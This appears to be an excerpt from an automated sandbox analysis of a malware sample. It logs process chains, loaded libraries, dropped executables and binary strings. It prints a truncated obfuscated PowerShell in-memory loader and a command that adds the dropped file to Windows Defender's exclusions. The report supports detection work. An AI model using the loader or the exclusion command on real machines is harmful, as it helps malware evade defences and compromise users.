Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:zDgZeIZuxWRL{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lbrdggfZMoOJSI,[Parameter(Position=1)][Type]$IOfHboHVyv)$RBuJknKpjnm=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+'l'+'e'+''+'c'+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+'l'+'e'+''+[Char](103)+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+'e'+'m'+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+''+'e'+''+[Char](103)+'a'+'t'+''+'e'+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'','C'+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+''+','+''+'S'+''+'e'+'a'+'l'+''+'e'+'d'+[Char](44)+''+'A'+''+'n'+''+[Char](115)+'iC'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+'o'+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$RBuJknKpjnm.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+'N'+'a'+''+'m'+'e'+[Char](44)+'H'+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$lbrdggfZMoOJSI).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+'e'+'d'+'');$RBuJknKpjnm.DefineMethod(''+[Char](73)+''+[Char](110)+'voke','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$IOfHboHVyv,$lbrdggfZMoOJSI).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+'ime'+','+''+[Char](77)+'a'+'n'+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');Write-Output $RBuJknKpjnm.CreateType();}$ysqdxYMCHCLNa=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sys'+'t'+''+'e'+''+'m'+''+[Char](46)+'d'+[Char](108)+''+'l'+'')}).GetType('Mi'+[Char](99)+'r'+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+[Char](46)+'U'+[Char](110)+'s'+'a'+''+[Char](102)+''+[Char](101)+'Nativ'+[Char](101)+''+[Char](77)+'e'+[Char](116)+'h'+[Char](111)+'d'+[Char](115)+'');$ExDfVzsYxbumyj=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{27f34893-8e1f-47b7-b44f-212b7709bf94}
Source: C:\ProgramData\KrnlSetupSus.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\KrnlSetupSus.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process created: C:\ProgramData\Install.exe "C:\ProgramData\Install.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Process created: C:\ProgramData\KrnlSetupSus.exe "C:\ProgramData\KrnlSetupSus.exe"	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\KrnlSetupSus.exe'	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{27f34893-8e1f-47b7-b44f-212b7709bf94}	Jump to behavior

Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\ProgramData\Install.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Install.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Install.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Install.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Install.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Install.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\ProgramData\Install.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Install.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\ProgramData\Install.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\ProgramData\Install.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\ProgramData\Install.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: ngcpopkeysrv.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: pcpksp.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\spoolsv.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll

Source: C:\Users\user\Desktop\RdLfpZY5A9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: ntoskrnl.lnk.3.dr

LNK file: ..\..\..\..\..\..\..\..\..\ProgramData\ntoskrnl.exe

Source: C:\Users\user\Desktop\RdLfpZY5A9.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

.NET source code contains method to dynamically call methods (often used by packers)

Source: RdLfpZY5A9.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: RdLfpZY5A9.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: *@\??\C:\Users\user\AppData\Local\Temp\Diagnostics.pdb source: svchost.exe, 00000013.00000002.2770687739.0000028A1AA40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000000.1520207455.0000028A1AA40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000013.00000000.1520141464.0000028A1AA2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.2769590466.0000028A1AA2A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdbx source: svchost.exe, 00000013.00000002.2770687739.0000028A1AA40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000000.1520207455.0000028A1AA40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000013.00000000.1520141464.0000028A1AA2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.2769590466.0000028A1AA2A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ~1.PDB @7_9)ux source: svchost.exe, 00000013.00000000.1520141464.0000028A1AA2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.2769590466.0000028A1AA2A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000013.00000000.1520261331.0000028A1AA5D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.2771872203.0000028A1AA5D000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000013.00000000.1520261331.0000028A1AA5D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.2771872203.0000028A1AA5D000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error3)y source: svchost.exe, 00000013.00000002.2770687739.0000028A1AA40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000000.1520207455.0000028A1AA40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000013.00000002.2770687739.0000028A1AA40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000000.1520207455.0000028A1AA40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: $@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000013.00000000.1520261331.0000028A1AA5D000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000013.00000002.2770687739.0000028A1AA40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000000.1520207455.0000028A1AA40000.00000004.00000001.00020000.00000000.sdmp
